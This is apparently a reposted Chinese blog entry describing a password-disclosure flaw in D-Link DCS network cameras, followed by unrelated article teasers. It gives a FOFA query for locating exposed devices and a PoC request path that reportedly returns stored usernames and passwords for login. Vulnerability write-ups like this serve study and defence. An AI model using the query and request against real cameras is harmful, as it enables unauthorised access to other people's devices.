D-Link DCS 密码泄露漏洞-编程知识

D-Link DCS 密码泄露漏洞

news/2025/3/10 19:26:45/文章来源:https://blog.csdn.net/weixin_48539059/article/details/132590397

0x01 前言

本次测试仅供学习使用，如若非法他用，与本文作者无关，需自行负责！！！

0x02 漏洞描述

D-link DCS是一款成像色彩为彩色是一款网络摄像机。D-link DCS系统存在密码泄露漏洞，攻击者通过漏洞可以获取后台权限。

0x03 受影响版本

DCS-2530L

DCS-2670L

DCS-4603

DCS-4622等多个DCS系列系统

0x04 漏洞复现

fofa：app="D_Link-DCS-型号"
在这里插入图片描述

在这里插入图片描述
POC

/config/getuser?index=0

1.使用poc进行账号密码查看，得到密码登录即可

/config/getuser?index=0

在这里插入图片描述 2.得到的账号密码直接登录即可

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.hqwc.cn/news/90036.html

如若内容造成侵权/违法违规/事实不符，请联系编程知识网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

Qt应用开发(基础篇)——字体选择器 QFontDialog

一、前言 QFontDialog类继承于QDialog，是一个设计用来选择字体的对话框部件。对话框窗口QDialog QFontDialog字体选择对话框，设计用来让用户选择某一种字体，一般用于文本编辑窗口、标签显示和一些需要文本输入的场景。你可以直接使用静态函数…

Android 13 - Media框架（8）- MediaExtractor

上一篇我们了解了 GenericSource 需要依赖 IMediaExtractor 完成 demux 工作，这一篇我们就来学习 android media 框架中的第二个服务 media.extractor，看看 IMediaExtractor 是如何创建与工作的。 1、MediaExtractorService media.extractor 和 media.p…

Day46|leetcode 139.单词拆分

leetcode 139.单词拆分题目链接：139. 单词拆分 - 力扣（LeetCode） 视频链接：动态规划之完全背包，你的背包如何装满？| LeetCode：139.单词拆分_哔哩哔哩_bilibili 题目概述给你一个字符串 s 和一…

Stable Diffusion 提示词入门指南

前言本文主要讲解 Stable Diffusion （下文简称 SD）提示词的用法，帮助大家生成更高质量的图片本章节主要讲解文生图，其他类型读者可以自行探索。同时本文主要是以 Stable Diffusion Discard 的形式生成图片如果各位对于图片隐…

Vue2向Vue3过度核心技术自定义指令

目录 1 自定义指令1.指令介绍2.自定义指令3.自定义指令语法4.指令中的配置项介绍5.代码示例6.总结 2 自定义指令-指令的值1.需求2.语法3.代码示例 3 自定义指令-v-loading指令的封装1.场景2.需求3.分析4.实现5.准备代码 1 自定义指令 1.指令介绍内置指令：v-html、v…

大数据时代的软件开发实践：利用云计算和AI赋能创新

文章目录云计算的赋能弹性资源管理远程协作与分布式开发持续集成和持续交付成本效益人工智能的赋能数据驱动的决策自动化智能预测和优化自适应系统创新的实践方法数据驱动的创新智能化产品开放式创新迭代和反馈 🎈个人主页：程序员小侯 🎐…

11. 盛最多水的容器（c++题解）

11. 盛最多水的容器（c题解） 给定一个长度为 n 的整数数组 height 。有 n 条垂线，第 i 条线的两个端点是 (i, 0) 和 (i, height[i]) 。找出其中的两条线，使得它们与 x 轴共同构成的容器可以容纳最多的水。返回容器可以储存的最大…

Ansible学习笔记2

Ansible是Python开发的自动化运维工具，集合了众多运维工具（Puppet、cfengine、chef、func、fabric）的优点，实现了批量系统配置，批量程序部署、批量运行命令等功能。特点： 1）部署简单&#xff…

根据源码，模拟实现 RabbitMQ - 网络通讯设计，自定义应用层协议，实现 BrokerServer (8)

目录一、网络通讯协议设计 1.1、交互模型 1.2、自定义应用层协议 1.2.1、请求和响应格式约定编辑 1.2.2、参数说明 1.2.3、具体例子 1.2.4、特殊栗子 1.3、实现 BrokerServer 1.3.1、属性和构造 1.3.2、启动 BrokerServer 1.3.3、停止 BrokerServer 1.3.4、处…

基于java swing和mysql实现的汽车租赁管理系统（源码+数据库+文档+运行指导视频）

一、项目简介本项目是一套基于java swing和mysql实现的汽车租赁管理系统，主要针对计算机相关专业的正在做毕设的学生与需要项目实战练习的Java学习者。包含：项目源码、项目文档、数据库脚本等，该项目附带全部源码可作为毕设使用。项目都经…

NSS [羊城杯 2020]easyser

NSS [羊城杯 2020]easyser 开题。很容易让人觉得环境坏了。不要慌，无从下手时。看源码、扫目录、抓包。一套操作下来，发现几个可以下手的路由。 /index.php /robots.txt 访问 /star1.php，一说到百度，就猜测是否存在SSRF。源码中…

#拿到页面面源代码 request #通过re来提取想要的有效信息 re import requests import re url"https://movie.douban.com/top250"headers{"user-agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/11…